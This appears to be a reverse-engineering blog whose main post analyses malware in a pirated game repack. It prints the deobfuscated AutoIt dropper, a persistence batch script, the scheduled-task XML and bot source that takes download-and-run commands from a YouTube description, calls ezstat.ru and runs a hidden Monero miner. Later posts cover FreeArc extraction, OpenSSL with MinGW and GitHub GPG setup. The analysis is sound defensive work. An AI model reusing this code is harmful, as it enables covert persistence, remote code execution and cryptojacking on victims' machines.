Analyzing Torrent Repack Malware

12 Jul 2017

Never trust a repack…

The torrent I looked at was: The Legend of Zelda: Breath of the Wild CEMU 1.8.0b [Multi-Lang] by HZolomon.

TL;DR: It is definitely malware. All the torrent by HZolomon appear to have been infected with malware equal/similar to this one.

The torrent (has been reported deleted, HZolomon is not (yet) banned), magnet (and no, I don’t condone piracy, was just interested to see if popular, repacked games are infected).

[MEGA Folder with relevant files] WARNING: THIS CONTAINS ACTIVE MALWARE (in case you didn’t read the title and like executing random files)…

Tooling

I used x64dbg, DbgChild, TitanHide, CFF Explorer, Exe2Aut and VirtualBox.

You have to select the checkboxes in the DbgChild plugin to automatically attach x64dbg to any process started by the executable you’re currently debugging:

dbgchild

From here on I’ll just give a brief description of each analysis step.

setup.exe

VirusTotal

  • With innoextract (innounp has a similar error):
Stream error while parsing setup headers!
 ├─ detected setup version: 5.4.2
 └─ error reason: basic_ios::clear
If you are sure the setup file is not corrupted, consider
filing a bug report at http://innoextract.constexpr.org/issues
Done with 1 error.
  • Extracts %temp%\is-[A-Z0-9]{5}.tmp\setup.tmp (is-K35T2.tmp in MEGA folder)

  • Probably this is: http://forum.ru-board.com/topic.cgi?forum=5&topic=34920&start=0&limit=1&m=1#1 and/or http://krinkels.org/resources/categories/innoultra.29/

setup.tmp

VirusTotal

Command line (this is similar to what InnoSetup does from what I know):

"C:\Users\Admin\AppData\Local\Temp\is-RPR25.tmp\setup.tmp" /SL5="$230522,1892858,54272,F:\Users\Admin\Documents\Downloads\The Legend of Zelda - Breath of the Wild\setup.exe" 
  • Extracts %temp%\is-[A-Z0-9]{5}.tmp\ISDone.dll and some other files (including unarc.dll).

  • Put a DLL breakpoint on unarc.dll in x64dbg.

  • Start the installation, which causes more stuff to be extracted to %temp%\is-[A-Z0-9]{5}.tmp.

All the extracted files are hidden. You can use attrib -S -H to unhide them (Windows explorer doesn’t allow you to do uncheck the Hidden box for some readon).

  • Break on FreeArcExtract (see my earlier blog post for more details). TL;DR it runs unarc.exe with the function arguments as command line arguments.

Some of the commands used in FreeArcExtract:

l -- setup-2.bin
x -o+ -pawdawdawd -wF:\BotW\ -dpF:\BotW\ -- setup-2.bin
  • Find cbArcExtract at ISDone.dll:$1A340 from the first parameter of FreeArcExtract, break on the password? action check:

password check

Arc password: awdawdawd

The unarc.dll uses compression algorithm hooks from facompress.dll (relevant code) + hooks for CLS-compressors (relevant code, CLS-MSC.dll, CLS-srep.dll) so make sure to put those next to unarc.exe if you want to (safely) extract the files.

  • After all the files are extracted it runs DSETUP.exe, which at first looked fine, but looking a second time the file is not signed by Microsoft and it has no version information or anything.

DSETUP.exe

VirusTotal

This is an AutoIt executable (32 bit), it’s basically the first layer of the dropper. With Exe2Aut I extracted the script (slightly deobfuscated by hand):

If @OSArch = "X64" Then
    If FileExists(@ScriptDir & "\Jun2010_XACT_x64.cab") AND FileExists(@ScriptDir & "\dsetup32.dll") AND FileExists(@ScriptDir & "\dxdllreg_x86.cab") AND FileExists(@ScriptDir & "\dxupdate.cab") AND FileExists(@ScriptDir & "\Jun2010_XACT_x86.cab") Then
        If _aes() = 0 Then
        Else
            For $i = 0 To UBound - 1 ; Does nothing
                If ProcessExists("avp.exe") OR ProcessExists("avpui.exe") OR ProcessExists("avguix.exe") OR ProcessExists("AVGUI.exe") OR ProcessExists("dwengine.exe") Then
                    $ainfo = _winapi_getsysteminfo()
                    $ainfo2 = $ainfo[0]
                    If $ainfo2 > 4 Then ; wProcessorArchitecture >= PROCESSOR_ARCHITECTURE_ARM (?)
                        $sinfile = @ScriptDir & "\dxupdate.cab"
                        $sfind = "00000000001C0004"
                        $sreplace = "377ABCAF271C0004"
                        $soutfile = @TempDir & "\CRDebugLog.txt"
                        _binaryreplace($sinfile, $sfind, $sreplace, $soutfile)
                        FileChangeDir(@TempDir)
                        FileInstall("CLDe2bugLog.txt", @TempDir & "\CLDe2bugLog.txt")
                        FileChangeDir(@TempDir)
                        RunWait('CLDe2bugLog.txt e -p"DQMDDMNBQ3824Nnd2nd8812@2*$(#!&NDQB2" CRDebugLog.txt', "", @SW_HIDE)
                        Run("start.bat", "", @SW_HIDE)
                    EndIf
                ElseIf ProcessExists("AvastUI.exe") OR ProcessExists("AvastSvc.exe") Then
                    $sinfile = @ScriptDir & "\Jun2010_XACT_x64.cab"
                    $sfind = "00000000001C0004"
                    $sreplace = "377ABCAF271C0004"
                    $soutfile = @TempDir & "\CRDebugLog.txt"
                    _binaryreplace($sinfile, $sfind, $sreplace, $soutfile)
                    FileChangeDir(@TempDir)
                    FileInstall("CLDe2bugLog.txt", @TempDir & "\CLDe2bugLog.txt")
                    FileChangeDir(@TempDir)
                    RunWait('CLDe2bugLog.txt e -p"DQMDDMNBQ3824Nnd2nd8812@2*$(#!&NDQB2" CRDebugLog.txt', "", @SW_HIDE)
                    Run("start.bat", "", @SW_HIDE)
                ElseIf ProcessExists("egui.exe") OR ProcessExists("ekrn.exe") Then
                    $sinfile = @ScriptDir & "\dsetup32.dll"
                    $sfind = "00000000001C0004"
                    $sreplace = "377ABCAF271C0004"
                    $soutfile = @TempDir & "\CRDebugLog.txt"
                    _binaryreplace($sinfile, $sfind, $sreplace, $soutfile)
                    FileChangeDir(@TempDir)
                    FileInstall("CLDe2bugLog.txt", @TempDir & "\CLDe2bugLog.txt")
                    FileChangeDir(@TempDir)
                    RunWait('CLDe2bugLog.txt e -p"DQMDDMNBQ3824Nnd2nd8812@2*$(#!&NDQB2" CRDebugLog.txt', "", @SW_HIDE)
                    Run("start.bat", "", @SW_HIDE)
                ElseIf ProcessExists("MBAMService.exe") Then
                    $sinfile = @ScriptDir & "\Jun2010_XACT_x86.cab"
                    $sfind = "00000000001C0004"
                    $sreplace = "377ABCAF271C0004"
                    $soutfile = @TempDir & "\CRDebugLog.txt"
                    _binaryreplace($sinfile, $sfind, $sreplace, $soutfile)
                    FileChangeDir(@TempDir)
                    FileInstall("CLDe2bugLog.txt", @TempDir & "\CLDe2bugLog.txt")
                    FileChangeDir(@TempDir)
                    RunWait('CLDe2bugLog.txt e -p"DQMDDMNBQ3824Nnd2nd8812@2*$(#!&NDQB2" CRDebugLog.txt', "", @SW_HIDE)
                    Run("start.bat", "", @SW_HIDE)
                Else
                    $sinfile = @ScriptDir & "\dxdllreg_x86.cab"
                    $sfind = "00000000001C0004"
                    $sreplace = "377ABCAF271C0004"
                    $soutfile = @TempDir & "\CRDebugLog.txt"
                    _binaryreplace($sinfile, $sfind, $sreplace, $soutfile)
                    FileChangeDir(@TempDir)
                    FileInstall("CLDe2bugLog.txt", @TempDir & "\CLDe2bugLog.txt")
                    FileChangeDir(@TempDir)
                    RunWait('CLDe2bugLog.txt e -p"DQMDDMNBQ3824Nnd2nd8812@2*$(#!&NDQB2" CRDebugLog.txt', "", @SW_HIDE)
                    Run("start.bat", "", @SW_HIDE)
                EndIf
            Next
        EndIf
    Else
    EndIf
Else
EndIf

Func _binaryreplace($sinfile, $sfind, $sreplace, $soutfile)
    Local $fo, $fr
    $fo = FileOpen($sinfile, 16)
    $fr = FileRead($fo)
    FileClose($fo)
    $fr = StringReplace($fr, $sfind, $sreplace, 1)
    $fo = FileOpen($soutfile, 18)
    FileWrite($fo, $fr)
    FileClose($fo)
EndFunc

Func _aes()
    $struct = DllStructCreate("int eax; int ebx; int ecx; int edx")
    $strcode = "0x515352518B7C24148B4424180FA28907895F04894F0889570C595A5B5831C0C20800"
    $tbindata = DllStructCreate("byte[" & BinaryLen($strcode) & "]")
    DllStructSetData($tbindata, 1, $strcode)
    DllCallAddress("none", DllStructGetPtr($tbindata), "ptr", DllStructGetPtr($struct), "int", 1)
    $aes = (BitAND(DllStructGetData($struct, 3), 33554432))
    Return $aes
EndFunc

It tries to identify your anti-virus and based on that drops CLDe2bugLog.txt in your temp directory with the FileInstall function. It then replaces the bytes 00000000001C0004 with 377ABCAF271C0004 (7z header) and extracts it with the following command:

CLDe2bugLog.txt e -p"DQMDDMNBQ3824Nnd2nd8812@2*$(#!&NDQB2" CRDebugLog.txt

The contents of CRDebugLog.txt, but the malware inside does pretty much the same thing. I (unfortunately) looked at the contents of dxdllreg_x86:

64.exe
SystemCheck.xml
start.bat

start.bat

attrib -h -r -s /S /D %userprofile%\AppData\Roaming\Microsoft\Windows\\svchost.exe
copy /y "64.exe" "%userprofile%\AppData\Roaming\Microsoft\Windows\svchost.exe"
attrib +h +r +s /S /D %userprofile%\AppData\Roaming\Microsoft\Windows\\svchost.exe
schtasks.exe /Create /XML "SystemCheck.xml" /TN "System\SystemCheck"
del 64.exe /f
del SystemCheck.xml /f
del CRDebugLog.txt /f
del CLDebugLog.txt /f
del "%0"

This copies the file to %userprofile%\AppData\Roaming\Microsoft\Windows\svchost.exe, which made it clear that this is indeed a malicious file. It then goes on to create a scheduled task with SystemCheck.xml.

SystemCheck.xml

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Author>Microsoft Corporation</Author>
    <Description>Starts a system diagnostics application to scan for errors and performance problems.</Description>
  </RegistrationInfo>
  <Triggers>
    <CalendarTrigger>
      <Repetition>
        <Interval>PT1M</Interval>
        <StopAtDurationEnd>false</StopAtDurationEnd>
      </Repetition>
      <StartBoundary>2017-01-01T00:00:00</StartBoundary>
      <Enabled>true</Enabled>
      <ScheduleByDay>
        <DaysInterval>1</DaysInterval>
      </ScheduleByDay>
    </CalendarTrigger>
    <TimeTrigger>
      <Repetition>
        <Interval>PT1M</Interval>
        <StopAtDurationEnd>false</StopAtDurationEnd>
      </Repetition>
      <StartBoundary>2017-01-01T00:00:00</StartBoundary>
      <Enabled>true</Enabled>
    </TimeTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <LogonType>InteractiveToken</LogonType>
      <RunLevel>LeastPrivilege</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>false</AllowHardTerminate>
    <StartWhenAvailable>true</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>true</WakeToRun>
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>%userprofile%\AppData\Roaming\Microsoft\Windows\svchost.exe</Command>
      <Arguments>-WindowsCheck</Arguments>
    </Exec>
  </Actions>
</Task>

This executes the newly-created svchost.exe with the -WindowsCheck command line every X amount of time (probably days, not really worth exploring in this case).

64.exe (svchost.exe)

VirusTotal

This file is packed with Enigma x64. TitanHide works fine for debugging Enigma (ScyllaHide has issues). The original entry point (OEP) is at 64.exe:$3059C . It has stolen bytes, but they are easy to retrieve:

48 83 EC 28 E8 BF B3 00 00 48 83 C4 28 E9 36 FE FF FF

EDIT: I have been asked on reddit to give more details about the “stolen bytes” mentioned here. Before I could answer user izizizizizizi gave a nice explanation:

“Stolen bytes” (is there any non-colloquial name for this I wonder) is a feature of many packers/protectors which prevents easy dumping. During the protection process, a part of the original executable code gets removed and stored in the protector stub. When it’s about to be executed there’s a redirection to the protector’s code instead of the original function. The stub either writes original code in some dynamic buffer and executes it or an obfuscated version of the original function is executed.

To get them I created my own Hello World-style AutoIt executable and pasted the entry point.

After the ‘unpacking’ enigma, I extracted the SCRIPT resource and put it in a Hello World AutoIt executable (32 bit), I then used Exe2Aut.exe to get the AutoIt script source code (irrelevant parts omitted):

If $cmdline[0] > 0 Then
    Select 
        Case $cmdline[1] = "-WindowsCheck"
            AdlibRegister("bot", 10 * 60 * 1000)
            $botcheck = "https://www.youtube.com/watch?v=RmCcqoC-Oms"
            AdlibRegister("logger", 5 * 60 * 1000)
            If WinExists("SystemHer") Then
                Exit
            EndIf
            GUICreate("SystemHer")
            While Sleep(250)
                Global $aprocess[] = ["taskmgr.exe", "ProcessHacker.exe", "procexp.exe", "procexp64.exe", "perfmon.exe"]
                For $k = 0 To UBound($aprocess) - 1
                    If ProcessExists($aprocess[$k]) Then
                        $kpids = ProcessList()
                        For $q = 1 To $kpids[0][0]
                            $kreg = StringRegExp($kpids[$q][0], "attrib.exe", 3)
                            If $kreg <> 1 Then
                                If ProcessExists($kpids[$q][1]) Then ProcessClose($kpids[$q][1])
                                Exit
                            EndIf
                        Next
                    EndIf
                Next
                If $k = UBound($aprocess) Then
                    $plist = ProcessList()
                    For $i = 1 To $plist[0][0]
                        $preg = StringRegExp($plist[$i][0], "attrib.exe", 3)
                        If $preg <> 1 Then
                            If ProcessExists($plist[$i][1]) Then ExitLoop
                        EndIf
                    Next
                    If $i = UBound($plist) Then
                        $ainfo = _winapi_getsysteminfo()
                        $threads = "-t " & $ainfo[5] / 2
                        If $threads = "-t 1.5" Then
                            $threads = "-t 1"
                        EndIf
                        FileChangeDir(@ScriptDir)
                        Run("SystemCheck.exe -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u bsipt8qbutj6@list.ru -p x " & $threads, "", @SW_HIDE)
                    EndIf
                EndIf
            WEnd
    EndSelect
EndIf

Func logger()
    If FileExists(@ScriptDir & "\system.ini") Then
    Else
        FileWrite(@ScriptDir & "\system.ini", "")
        FileSetAttrib(@ScriptDir & "\system.ini", "+SH")
        $surl = "http://ezstat.ru/1OzYt"
        $ohttp = ObjCreate("WinHttp.WinHttpRequest.5.1")
        $ohttp.open("GET", $surl, False)
        $ohttp.send("")
        $ohttp.waitforresponse
        $shtml = $ohttp.responsetext
    EndIf
EndFunc

Func bot()
    $ohttp = ObjCreate("WinHttp.WinHttpRequest.5.1")
    $ohttp.open("GET", $botcheck) ; botcheck="https://www.youtube.com/watch?v=RmCcqoC-Oms"
    $ohttp.send("") #
    $ohttp.waitforresponse
    $shtml = $ohttp.responsetext
    $aecu = StringRegExp($shtml, 'id="eow-description" class="" >(.*?)</p>', 1)
    $out = $aecu[0]
    If StringRegExp($out, "_download", 0) = 1 Then
        If StringRegExp($out, 'href="(.*?)"', 0) = 1 Then
            $download = StringRegExp($out, 'href="(.*?)"', 1)
            $urldownload = $download[0]
            FileChangeDir(@ScriptDir)
            $dread = FileRead(@ScriptDir & "\system.ini")
            If StringRegExp($dread, $urldownload, 0) = 0 Then
                FileChangeDir(@ScriptDir)
                $ddownload = InetGet($urldownload, @ScriptDir & "\2mdw4.temp", 1, 1)
                Do
                    Sleep(1000)
                Until InetGetInfo($ddownload, 2)
                InetClose($ddownload)
                Sleep(1000 * 10)
                FileChangeDir(@ScriptDir)
                FileDelete(@ScriptDir & "\2mdw4.temp")
                Sleep(1000 * 2)
                FileSetAttrib(@ScriptDir & "\2mdw4", "+SH")
                $dfile = FileOpen(@ScriptDir & "\system.ini", 1)
                FileWrite(@ScriptDir & "\system.ini", $urldownload & @CRLF)
                FileClose($dfile)
                FileSetAttrib(@ScriptDir & "\system.ini", "+SH")
            EndIf
            FileClose($dread)
        EndIf
    ElseIf StringRegExp($out, "_run", 0) = 1 Then
        If StringRegExp($out, 'href="(.*?).exe"', 0) = 1 Then
            $run = StringRegExp($out, 'href="(.*?)"', 1)
            $urlrun = $run[0]
            FileChangeDir(@ScriptDir)
            $rread = FileRead(@ScriptDir & "\system.ini")
            If StringRegExp($rread, $urlrun, 0) = 0 Then
                FileChangeDir(@ScriptDir)
                $rdownload = InetGet($urlrun, @ScriptDir & "\run.exe", 1, 1)
                Do
                    Sleep(1000)
                Until InetGetInfo($rdownload, 2)
                InetClose($rdownload)
                Sleep(1000 * 5)
                FileChangeDir(@ScriptDir)
                FileSetAttrib(@ScriptDir & "\run.exe", "+SH")
                Sleep(1000 * 2)
                Run(@ScriptDir & "\run.exe", "", @SW_HIDE)
                $rfile = FileOpen(@ScriptDir & "\system.ini", 1)
                FileWrite(@ScriptDir & "\system.ini", $urlrun & @CRLF)
                FileClose($rfile)
                FileSetAttrib(@ScriptDir & "\system.ini", "+SH")
            EndIf
            FileClose($rread)
        EndIf
    ElseIf StringRegExp($out, "_rdel", 0) = 1 Then
        If StringRegExp($out, 'href="(.*?).exe"', 0) = 1 Then
            $rdel = StringRegExp($out, 'href="(.*?)"', 1)
            $urlrdel = $rdel[0]
            FileChangeDir(@ScriptDir)
            $rdread = FileRead(@ScriptDir & "\system.ini")
            If StringRegExp($rdread, $urlrdel, 0) = 0 Then
                FileChangeDir(@ScriptDir)
                $rddownload = InetGet($urlrdel, @ScriptDir & "\rdel.exe", 1, 1)
                Do
                    Sleep(1000)
                Until InetGetInfo($rddownload, 2)
                InetClose($rddownload)
                Sleep(1000 * 5)
                FileChangeDir(@ScriptDir)
                Run(@ScriptDir & "\rdel.exe", "", @SW_HIDE)
                Sleep(1000 * 20)
                FileChangeDir(@ScriptDir)
                FileDelete(@ScriptDir & "\rdel.exe")
                Sleep(1000 * 2)
                FileSetAttrib(@ScriptDir & "\rdel.exe", "+SH")
                $rdfile = FileOpen(@ScriptDir & "\system.ini", 1)
                FileWrite(@ScriptDir & "\system.ini", $urlrdel & @CRLF)
                FileClose($rdfile)
                FileSetAttrib(@ScriptDir & "\system.ini", "+SH")
            EndIf
            FileClose($rdread)
        EndIf
    ElseIf StringRegExp($out, "_delete", 0) = 1 Then
        FileChangeDir(@ScriptDir)
        FileSetAttrib(@ScriptDir & "\rdel.exe", "-RSH")
        FileDelete(@ScriptDir & "\rdel.exe")
        FileSetAttrib(@ScriptDir & "\up1date.exe", "-RSH")
        FileDelete(@ScriptDir & "\up1date.exe")
        FileSetAttrib(@ScriptDir & "\run.exe", "-RSH")
        FileDelete(@ScriptDir & "\run.exe")
        FileSetAttrib(@ScriptDir & "\2mdw4.temp", "-RSH")
        FileDelete(@ScriptDir & "\2mdw4.temp")
        FileSetAttrib(@ScriptDir & "\system.ini", "-RSH")
        FileDelete(@ScriptDir & "\system.ini")
        FileWrite(@ScriptDir & "\system.ini", "")
        FileSetAttrib(@ScriptDir & "\system.ini", "+SH")
    ElseIf StringRegExp($out, "_update", 0) = 1 Then
        If StringRegExp($out, 'href="(.*?).exe"', 0) = 1 Then
            $update = StringRegExp($out, 'href="(.*?)"', 1)
            $urlupdate = $update[0]
            FileChangeDir(@ScriptDir)
            $uread = FileRead(@ScriptDir & "\system.ini")
            If StringRegExp($uread, $urlupdate, 0) = 0 Then
                FileChangeDir(@ScriptDir)
                FileSetAttrib(@ScriptDir & "\svchost.exe", "-RSH")
                $udownload = InetGet($urlupdate, @ScriptDir & "\up1date.exe", 1, 1)
                Do
                    Sleep(1000)
                Until InetGetInfo($udownload, 2)
                InetClose($udownload)
                Sleep(1000 * 5)
                FileChangeDir(@ScriptDir)
                FileSetAttrib(@ScriptDir & "\up1date.exe", "+SH")
                Sleep(1000 * 2)
                $ufile = FileOpen(@ScriptDir & "\system.ini", 1)
                FileWrite(@ScriptDir & "\system.ini", $urlupdate & @CRLF)
                FileClose($ufile)
                FileSetAttrib(@ScriptDir & "\system.ini", "+SH")
                Run(@ScriptDir & "\up1date.exe", "", @SW_HIDE)
                Exit
            EndIf
            FileClose($uread)
        EndIf
    EndIf
EndFunc

The interesting part is the bot() function:

$ohttp = ObjCreate("WinHttp.WinHttpRequest.5.1")
    $ohttp.open("GET", $botcheck) ; botcheck="https://www.youtube.com/watch?v=RmCcqoC-Oms"
    $ohttp.send("") #
    $ohttp.waitforresponse
    $shtml = $ohttp.responsetext
    $aecu = StringRegExp($shtml, 'id="eow-description" class="" >(.*?)</p>', 1)
    $out = $aecu[0]
    If StringRegExp($out, "_download", 0) = 1 Then
        ; download logic
    ElseIf StringRegExp($out, "_run", 0) = 1 Then
        ; run logic
    ElseIf StringRegExp($out, "_rdel", 0) = 1 Then
        ; rdel logic
    ElseIf StringRegExp($out, "_delete", 0) = 1 Then
        ; delete logic
    ElseIf StringRegExp($out, "_update", 0) = 1 Then
        ; update logic

It uses a YouTube video (reported, but please report again) as a command and control mechanism. If the description contains one of the _download, _run, etc. command it will perform certain actions based on the data in the description (such as downloading a file or updating to a newer version).

It also appears to run some kind of crypto currency miner, although I couldn’t find the SystemCheck executable:

Run("SystemCheck.exe -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u bsipt8qbutj6@list.ru -p x " & $threads, "", @SW_HIDE)

Well, that has been all for today. It has certainly been fun reversing malware for a change!

Leave a comment

Freearc And Dark Souls 3

06 Jul 2017

In my free time I work on lots of small projects. One of those is called DarkSouls3.TextViewer and it lets you view all dialogue and item descriptions in Dark Souls 3:

DarkSouls3.TextViewer

To do this you have to extract the contents of Data1.bdt, which can be done with BinderTool by Atvaark. However, recently I got interested in possible changes made to item descriptions during updates, so I went on a hunt for all versions of Data1.bdt. Because Steam does not allow you to downgrade the game versions I started looking for pirated releases and updates to try to piece everything together. I downloaded Dark.Souls.III.The.Ringed.City-CODEX to get started, but then I noticed that I was too low on disk space to install the game…

InnoSetup

A quick look at setup.exe with ProtectionID reveals that it is an InnoSetup installer:

inno setup

There are several free tools available (innoextract, innounp) to see what’s inside:

>innoextract.exe -l e:\setup.exe
Listing "Dark Souls III The Ringed City" - setup data version 5.5.0.1 (unicode)
 - "tmp\ISDone.dll" [temp] (446 KiB)
 - "tmp\english.ini" [temp] (15.4 KiB)
 - "tmp\Style.vsf" [temp] (44.7 KiB)
 - "tmp\VclStylesinno.dll" [temp] (1.95 MiB)
 - "tmp\BASS.dll" [temp] (107 KiB)
 - "tmp\bp.dll" [temp] (129 KiB)
 - "tmp\wintb.dll" [temp] (27.5 KiB)
 - "tmp\Music.ogg" [temp] (2.34 MiB)
 - "tmp\Play1.bmp" [temp] (540 B)
 - "tmp\Play2.bmp" [temp] (540 B)
 - "tmp\Play3.bmp" [temp] (540 B)
 - "tmp\Pause1.bmp" [temp] (540 B)
 - "tmp\Pause2.bmp" [temp] (540 B)
 - "tmp\Pause3.bmp" [temp] (540 B)
 - "tmp\trackBkg.bmp" [temp] (776 B)
 - "tmp\trackbtn1.bmp" [temp] (344 B)
 - "tmp\trackbtn2.bmp" [temp] (344 B)
 - "tmp\trackbtn3.bmp" [temp] (344 B)
 - "tmp\unarc.dll" [temp] (368 KiB)
Warning: "setup-1.bin" is not part of the installer!
Use the --gog option to try listing the contents of this file.
Done with 1 warning.

The setup-1.bin file starts with ArC, so I checked the exports of unarc.dll and one that stands out is called FreeArcExtract, which points to FreeArc.

I tried to list the files in the archive, but the file format appears to be customized (or an older version):

>unarc l e:\setup-1.bin
FreeArc 0.67 unpacker
ERROR: archive structure corrupted (descriptor failed CRC check)

FreeArc

Then I thought, perhaps I can use unarc.dll from the setup to extract the relevant files? The lead is the name of the export FreeArcExtract. A bit of Googlefoo pointed to the relevant code, which looks like this:

int __cdecl FreeArcExtract (cbtype *callback, ...)
{
  va_list argptr;
  va_start(argptr, callback);

  int argc=0;
  char *argv[1000] = {"c:\\unarc.dll"};  //// Здесь будет искаться arc.ini!

  for (int i=1; i<1000; i++)
  {
    argc = i;
    argv[i] = va_arg(argptr, char*);
    if (argv[i]==NULL || argv[i][0]==0)
      {argv[i]=NULL; break;}
  }
  va_end(argptr);

  COMMAND command (argc, argv);    // Распарсить команду
  if (command.ok) {                // Если парсинг был удачен и можно выполнить команду
    command.Prepare();
    CThread thread;
    DLLUI *ui = new DLLUI(&command);
    thread.Create (timer_thread,      ui);   //   Спец. тред, вызывающий callback 100 раз в секунду
    thread.Create (decompress_thread, ui);   //   Выполнить разобранную команду

    for(;;)
    {
      ui->DoEvent.Lock();
      if (strequ (ui->what, "quit"))
        return ui->n1;  // error code of command
      ui->result = callback (ui->what, ui->n1, ui->n2, ui->str);
      ui->EventDone.Signal();
    }
    thread.Wait();
  }
  return command.ok? FREEARC_OK : FREEARC_ERRCODE_GENERAL;
}

Basically what this does is forward all the input parameters as the argv of unarc. After a lot of fooling around with the awfulness of va_list and lots of crashes I finally got the code to forward argv to the FreeArcExtract function:

#include <windows.h>
#include <cstdio>

#define whut(x) (strcmp(what, #x) == 0)

static int __stdcall cbExtract(char* what, int int1, int int2, char* str)
{
    if(whut(read) || whut(write))
        return 0; //filter out the plentiful "read" and "write" messages
    printf("\"%s\", %d, %d, \"%s\"\n", what, int1, int2, str);
    return 0;
}

typedef int __stdcall cbtype(char* what, int int1, int int2, char* str);
typedef int __cdecl pFreeArcExtract(cbtype* callback, ...);

int main(int argc, char* argv[])
{
    auto hMod = LoadLibraryA("unarc.dll");
    if(!hMod)
    {
        puts("Failed to load DLL: unarc.dll!");
        return 1;
    }
    auto FreeArcExtract = (pFreeArcExtract*)GetProcAddress(hMod, "FreeArcExtract");
    if(!FreeArcExtract)
    {
        puts("Failed to find export: FreeArcExtract");
        return 1;
    }
    auto a = [&](int i)
    {
        return i < argc ? argv[i] : "";
    };
    return FreeArcExtract(cbExtract, a(1), a(2), a(3), a(4), a(5), a(6), a(7), a(8), a(9), a(10), nullptr);
}

First I tried to get the help with unarc_cmd.exe, but this came up empty. Instead I asked unarc.exe:

>unarc
FreeArc 0.67 unpacker  http://freearc.org  2014-03-16
Usage: unarc command [options] archive[.arc] [filenames...]
Available commands:
  l - display archive listing
  v - display verbose archive listing
  e - extract files into current directory
  x - extract files with pathnames
  t - test archive integrity
... (more irrelevant options)

Then I tried to list all the files in the archive, which did not give me the output I expected at all (but hey, at least no CRC errors):

>unarc_cmd.exe l e:\setup-1.bin
"total_files", 283, 0, ""
"origsize", 25527, 998151285, ""
"compsize", 25096, 545797223, ""

The v option also came up empty, but the t option had more promise:

>unarc_cmd t e:\setup-1.bin
"total", 25096, 545800879, ""
"filename", 0, 810208, "Game\Data0.bdt"
"filename", 922, 967053390, "Game\Data1.bdt"
"filename", 2450, -1724920912, "Game\Data2.bdt"
... (it takes a few minutes to test all files)

To extract Data1.bdt, BinderTool also needs a file with decryption keys called Data1.bhd, so I used the following command to extract both those files:

>unarc_cmd x e:\setup-1.bin Data1.bdt Data1.bhd
"total", 25096, 545800879, ""
"filename", 0, 810208, "Game\Data0.bdt"
"overwrite?", 922, 967053390, "Game\Data1.bdt"
"filename", 922, 967053390, "Game\Data1.bdt"
"filename", 2450, -1724920912, "Game\Data2.bdt"
"filename", 1474, 1546563828, "Game\Data3.bdt"
"filename", 1172, 1229026224, "Game\Data4.bdt"
"filename", 13172, 927431435, "Game\Data5.bdt"
"filename", 1551, 1626443628, "Game\DLC1.bdt"
"filename", 2929, -1222753793, "Game\DLC2.bdt"
"filename", 0, 2212, "Game\Data0.bhd"
"filename", 0, 411904, "Game\Data1.bhd"

Conclusion

Well, I hope this was interesting to some people. It was just a 45 minute side project of mine that I decided to share.

If anyone has 魔法うんちく_dlc2.fmg from before the description of the White Birch Bow was changed, please ping me (the CODEX release is from after the update apparently).

Leave a comment

Cmake Openssl And Mingw On Windows

01 Apr 2017

If you found this you are probably having issues linking OpenSSL to MinGW-w64 using CMake (or CLion) on Windows. In this post I will give a quick overview on how to get this to work on a clean Windows machine…

The distribution I used to get it to work is Win64OpenSSL-1_2_2k.exe. The issue was that there are no MinGW-compatible link libaries. To solve this you can use my genlib tool to generate them:

cd c:\OpenSSL-Win64
set PATH=%PATH%;c:\genlib

genlib ssleay32.dll
genlib libeay32.dll

copy *.a lib\

The CMakeLists.txt looks like this:

# Project configuration
cmake_minimum_required(VERSION 2.7)
project(OpenSSLTest)

# Use C++11
set(CMAKE_CXX_STANDARD 11)

# Project source files
set(SOURCE_FILES main.cpp)
add_executable(OpenSSLTest ${SOURCE_FILES})

# OpenSSL (find, include, link) 
find_package(OpenSSL REQUIRED)
include_directories(${OPENSSL_INCLUDE_DIR})
target_link_libraries(${PROJECT_NAME} ${OPENSSL_LIBRARIES})

And some simple test code:

#include <iostream>
#include <openssl/ssl.h>

int main() {
    std::cout << "SSLeay Version: " << SSLeay_version(SSLEAY_VERSION) << std::endl;
    SSL_library_init();
    auto ctx = SSL_CTX_new(SSLv23_client_method());
    if (ctx) {
        auto ssl = SSL_new(ctx);
        if (ssl) {
            std::cout << "SSL Version: " << SSL_get_version(ssl) << std::endl;
            SSL_free(ssl);
        } else {
            std::cout << "SSL_new failed..." << std::endl;
        }
        SSL_CTX_free(ctx);
    } else {
        std::cout << "SSL_CTX_new failed..." << std::endl;
    }
}

If everything is configured correctly this should print:

SSLeay Version: OpenSSL 1.0.2k  26 Jan 2017
SSL Version: TLSv1.2

If you cannot be bothered to run genlib yourself, you can find a copy the required files here and get started immediately.

Hope this helped,

Duncan

Leave a comment

My Inactivity

22 Sep 2016

Currently I do not have much time to update this blog because I am writing for the x64dbg blog, check it out!

Duncan

Leave a comment

Github Gpg

30 May 2016

Hello everyone,

Today I saw this broadcast on Github which states that GPG signature verification was added to Github. It took me a bit of searching before I got it to work from both the command line and Git Extensions so in this guide I will explain how I did it.

Installing Git (Extensions)

The first thing to install is the latest (v2.0.0+) version of Git for Windows.

After will have to install Git Extensions. Make sure to select the -SetupComplete but do not install MsysGit from there since you already installed a newer version.

Make sure you configure Git (Extensions) correctly so your identity is in sync with your Github email/username.

Installing GPG

You can download and install GPG from here. Next verify that you installed everything correctly:

C:\Users\Admin>git --version
git version 2.8.3.windows.1

C:\Users\Admin>gpg --version
gpg (GnuPG) 2.0.30 (Gpg4win 2.3.1)
libgcrypt 1.6.5
Copyright (C) 2015 Free Software Foundation, Inc.
